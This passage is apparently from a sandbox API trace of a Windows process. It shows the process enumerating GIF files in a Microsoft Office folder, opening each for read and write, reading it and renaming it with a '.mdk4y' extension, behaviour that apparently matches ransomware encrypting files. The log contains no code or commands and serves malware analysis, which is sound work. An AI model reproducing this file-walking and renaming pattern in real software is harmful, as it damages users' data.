lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc11, lpOverlapped=0x0) returned 1 [0198.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827398700000) returned 1 [0198.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827398700000) returned 1 [0198.757] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir19f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir19f.gif.mdk4y")) returned 1 [0198.758] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.758] AreFileApisANSI () returned 1 [0198.758] GetACP () returned 0x4e4 [0198.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR1B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR1B.GIFF", lpUsedDefaultChar=0x37dec0) returned 11 [0198.758] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.758] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827398800000) returned 1 [0198.758] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xef5, lpOverlapped=0x0) returned 1 [0198.759] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827398900000) returned 1 [0198.759] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827398900000) returned 1 [0198.760] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1b.gif.mdk4y")) returned 1 [0198.764] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.764] AreFileApisANSI () returned 1 [0198.764] GetACP () returned 0x4e4 [0198.764] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR1F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR1F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0198.764] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.765] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827399500000) returned 1 [0198.765] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1b75, lpOverlapped=0x0) returned 1 [0198.888] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827411800000) returned 1 [0198.888] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827411800000) returned 1 [0198.889] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1f.gif.mdk4y")) returned 1 [0198.890] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.890] AreFileApisANSI () returned 1 [0198.890] GetACP () returned 0x4e4 [0198.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR20F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR20F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0198.890] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir20f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.891] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827412100000) returned 1 [0198.891] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc85, lpOverlapped=0x0) returned 1 [0198.892] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827412200000) returned 1 [0198.892] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827412200000) returned 1 [0198.892] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir20f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir20f.gif.mdk4y")) returned 1 [0198.893] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.893] AreFileApisANSI () returned 1 [0198.894] GetACP () returned 0x4e4 [0198.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR21F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR21F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0198.894] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir21f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.895] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827412500000) returned 1 [0198.895] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x42ea, lpOverlapped=0x0) returned 1 [0198.896] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827412600000) returned 1 [0198.896] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827412600000) returned 1 [0198.897] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir21f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR21F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir21f.gif.mdk4y")) returned 1 [0198.897] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.897] AreFileApisANSI () returned 1 [0198.897] GetACP () returned 0x4e4 [0198.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR22F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR22F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0198.897] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir22f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.898] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827412800000) returned 1 [0198.898] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1983, lpOverlapped=0x0) returned 1 [0198.900] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827413000000) returned 1 [0198.900] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827413000000) returned 1 [0198.900] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir22f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR22F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir22f.gif.mdk4y")) returned 1 [0198.901] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.901] AreFileApisANSI () returned 1 [0198.901] GetACP () returned 0x4e4 [0198.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR23F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR23F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0198.901] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir23f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.901] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827413100000) returned 1 [0198.901] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2a71, lpOverlapped=0x0) returned 1 [0198.990] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827422000000) returned 1 [0198.990] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827422000000) returned 1 [0198.990] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir23f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR23F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir23f.gif.mdk4y")) returned 1 [0198.991] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.991] AreFileApisANSI () returned 1 [0198.991] GetACP () returned 0x4e4 [0198.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR24F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR24F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0198.992] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir24f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.992] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827422200000) returned 1 [0198.992] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3f61, lpOverlapped=0x0) returned 1 [0199.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827427300000) returned 1 [0199.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827427300000) returned 1 [0199.043] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir24f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR24F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir24f.gif.mdk4y")) returned 1 [0199.044] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.045] AreFileApisANSI () returned 1 [0199.045] GetACP () returned 0x4e4 [0199.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR25F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR25F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.045] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir25f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.045] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827427500000) returned 1 [0199.045] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x326c, lpOverlapped=0x0) returned 1 [0199.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827427700000) returned 1 [0199.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827427700000) returned 1 [0199.047] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir25f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR25F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir25f.gif.mdk4y")) returned 1 [0199.048] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.048] AreFileApisANSI () returned 1 [0199.048] GetACP () returned 0x4e4 [0199.048] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR26F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR26F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.048] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir26f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.049] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827427900000) returned 1 [0199.049] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2072, lpOverlapped=0x0) returned 1 [0199.050] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827428000000) returned 1 [0199.050] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827428000000) returned 1 [0199.053] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir26f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR26F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir26f.gif.mdk4y")) returned 1 [0199.053] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.053] AreFileApisANSI () returned 1 [0199.053] GetACP () returned 0x4e4 [0199.053] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR27F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR27F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.054] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir27f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.054] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827428400000) returned 1 [0199.054] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x20f0, lpOverlapped=0x0) returned 1 [0199.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827428500000) returned 1 [0199.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827428500000) returned 1 [0199.055] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir27f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR27F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir27f.gif.mdk4y")) returned 1 [0199.056] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.056] AreFileApisANSI () returned 1 [0199.056] GetACP () returned 0x4e4 [0199.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR28F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR28F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.056] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir28f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.057] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827428700000) returned 1 [0199.057] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x10a3, lpOverlapped=0x0) returned 1 [0199.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827428800000) returned 1 [0199.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827428800000) returned 1 [0199.090] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir28f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR28F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir28f.gif.mdk4y")) returned 1 [0199.091] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.091] AreFileApisANSI () returned 1 [0199.091] GetACP () returned 0x4e4 [0199.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR29F.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR29F.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0199.091] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir29f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.092] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827432200000) returned 1 [0199.092] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1444, lpOverlapped=0x0) returned 1 [0199.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827432300000) returned 1 [0199.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827432300000) returned 1 [0199.094] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir29f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR29F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir29f.gif.mdk4y")) returned 1 [0199.096] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.096] AreFileApisANSI () returned 1 [0199.096] GetACP () returned 0x4e4 [0199.096] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR2B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR2B.GIFF", lpUsedDefaultChar=0x37dec0) returned 11 [0199.097] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0199.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827432800000) returned 1 [0199.098] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc49, lpOverlapped=0x0) returned 1 [0199.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827432900000) returned 1 [0199.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827432900000) returned 1 [0199.099] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2b.gif.mdk4y")) returned 1 [0199.100] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0199.100] AreFileApisANSI () returned 1 [0199.100] GetACP () returned 0x4e4 [0199.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ZPDIR2F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ZPDIR2F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0199.100] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR2F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir2f.gif"), 